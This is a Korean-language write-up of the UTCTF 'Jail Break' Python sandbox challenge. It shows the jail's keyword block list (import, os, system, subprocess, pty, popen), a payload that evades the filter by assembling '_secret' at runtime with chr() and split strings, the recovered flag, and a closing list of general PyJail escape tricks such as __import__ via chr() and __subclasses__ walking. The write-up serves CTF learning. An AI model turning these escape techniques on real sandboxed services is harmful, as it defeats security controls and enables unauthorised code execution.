UTCTF - Jail Break#

문제 개요#

카테고리: Misc (Python Jail)
주제: Python 샌드박스 탈출 + 키워드 필터 우회

문제 파일 (`jail.py`)#

핵심 구조만 보면:

1
_ENC = [0x37, 0x36, 0x24, ...]
2
_KEY = 0x42
3

4
def _secret():
5
    return ''.join(chr(b ^ _KEY) for b in _ENC)
6

7
BANNED = [
8
    "import", "os", "sys", "system", "eval",
9
    "open", "read", "write", "subprocess", "pty",
10
    "popen", "secret", "_enc", "_key"
11
]
12

13
SAFE_BUILTINS = {
14
    "print": print, "vars": vars, "getattr": getattr,
15
    "chr": chr, "dir": dir, ...  # globals/exec/eval 등 위험 함수 제거
16
}
17

18
GLOBALS = {"__builtins__": SAFE_BUILTINS, "_secret": _secret}
19

20
while True:
21
    code = input(">>> ")
22
    for word in BANNED:
23
        if word.lower() in code.lower():   # 입력 문자열 검사
24
            print("[BLOCKED]")
25
    exec(compile(code, "<jail>", "exec"), GLOBALS)

분석#

1단계: 플래그가 어디 있나#

_secret() 함수가 _ENC 배열을 _KEY(0x42)로 XOR 그리고 이 함수는 GLOBALS에 "_secret": _secret 으로 등록 즉 jail 내부에서 _secret()을 호출할 수 있으면 플래그

2단계: 왜 직접 호출이 안 되나#

BANNED 리스트에 "secret"이 포함 필터는 입력 문자열 전체에 대해 word in code.lower()로 검사, 입력 어딘가에 secret이라는 부분 문자열이 있으면 무조건 차단

1
>>> _secret()          # BLOCKED - 'secret' 포함
2
>>> _secret            # BLOCKED - 'secret' 포함
3
>>> vars()['_secret']  # BLOCKED - 'secret' 포함
4
>>> '_' + 'secret'     # BLOCKED - 'secret' 포함

3단계: 필터 우회 방법#

필터는 소스 코드 문자열을 검사하지, 런타임에 만들어지는 문자열은 검사하지 않음

즉 chr()로 문자를 조합해서 _secret 문자열을 런타임에 생성하면 우회 가능

1
'_secret' = chr(95) + 'se' + 'cret'

chr(95) = _ (언더스코어)
'se' = s, e (각각 BANNED에 없음)
'cret' = c, r, e, t (각각 BANNED에 없음)

검사 시점에는 소스 문자열에 secret이 없으므로 통과. 실행 시점에는 chr(95)+'se'+'cret' = _secret이 만들어짐.

4단계: vars()로 GLOBALS 접근#

SAFE_BUILTINS에 vars가 허용 vars()는 현재 실행 컨텍스트의 namespace를 dict로 반환, exec(code, GLOBALS)로 실행되므로 vars()가 곧 GLOBALS

1
vars()['_secret']   # == GLOBALS['_secret'] == _secret 함수
2
vars()['_secret']() # == _secret() 호출

최종 페이로드#

1
print(vars()[chr(95)+'se'+'cret']())

분해하면:

chr(95) → '_'
chr(95)+'se'+'cret' → '_secret' (런타임에 조합)
vars()['_secret'] → _secret 함수 객체
vars()['_secret']() → _secret() 호출 —> 플래그 반환
print(...) → 출력

필터 통과 확인#

1
BANNED = ['import','os','sys','system','eval','open','read',
2
          'write','subprocess','pty','popen','secret','_enc','_key']
3

4
payload = "print(vars()[chr(95)+'se'+'cret']())"
5
blocked = any(word in payload.lower() for word in BANNED)
6
# blocked = False  ← 통과!

실행 결과#

1
==================================================
2
  Welcome to PyJail v1.0
3
  Escape to get the flag!
4
==================================================
5

6
>>> print(vars()[chr(95)+'se'+'cret']())
7
utflag{py_ja1l_3sc4p3_m4st3r}

FLAG#

1
utflag{py_ja1l_3sc4p3_m4st3r}

보너스: 파일을 직접 읽을 수 있었다면#

서버 없이 jail.py 소스코드에 직접 접근 가능한 경우, _ENC와 _KEY를 그대로 계산

1
_ENC = [0x37, 0x36, 0x24, 0x2e, 0x23, 0x25, 0x39, 0x32, 0x3b, 0x1d,
2
        0x28, 0x23, 0x73, 0x2e, 0x1d, 0x71, 0x31, 0x21, 0x76, 0x32,
3
        0x71, 0x1d, 0x2f, 0x76, 0x31, 0x36, 0x71, 0x30, 0x3f]
4
_KEY = 0x42
5
print(''.join(chr(b ^ _KEY) for b in _ENC))
6
# utflag{py_ja1l_3sc4p3_m4st3r}

핵심 포인트 정리#

항목	내용
플래그 위치	`GLOBALS['_secret']()` 호출 결과
필터 방식	입력 문자열에서 banned word 부분 문자열 검사
필터 우회	`chr()` + 문자열 분할로 런타임에 키워드 조합
namespace 접근	`vars()` → `GLOBALS` dict 반환 → `['_secret']` 키로 함수 접근
핵심 교훈	소스 문자열 필터는 런타임 문자열 생성으로 우회 가능

PyJail 일반적인 우회 기법 모음#

1. `chr()` 조합#

1
# 'os' 우회
2
__import__(chr(111)+chr(115))           # chr(111)='o', chr(115)='s'

2. 문자열 분할#

1
# 'system' 우회
2
'sys'+'tem'
3
's'+'y'+'s'+'t'+'e'+'m'

3. `class.mro` 체인 (builtins 복원)#

1
# object → 서브클래스 탐색으로 위험 클래스 접근
2
().__class__.__mro__[-1].__subclasses__()

4. `getattr` 활용#

1
# 속성 이름을 문자열로 우회
2
getattr(some_obj, 'dange'+'rous_method')()

5. `f-string` 또는 `format` 활용#

1
# 런타임 문자열 생성
2
f"{'sec'+'ret'}"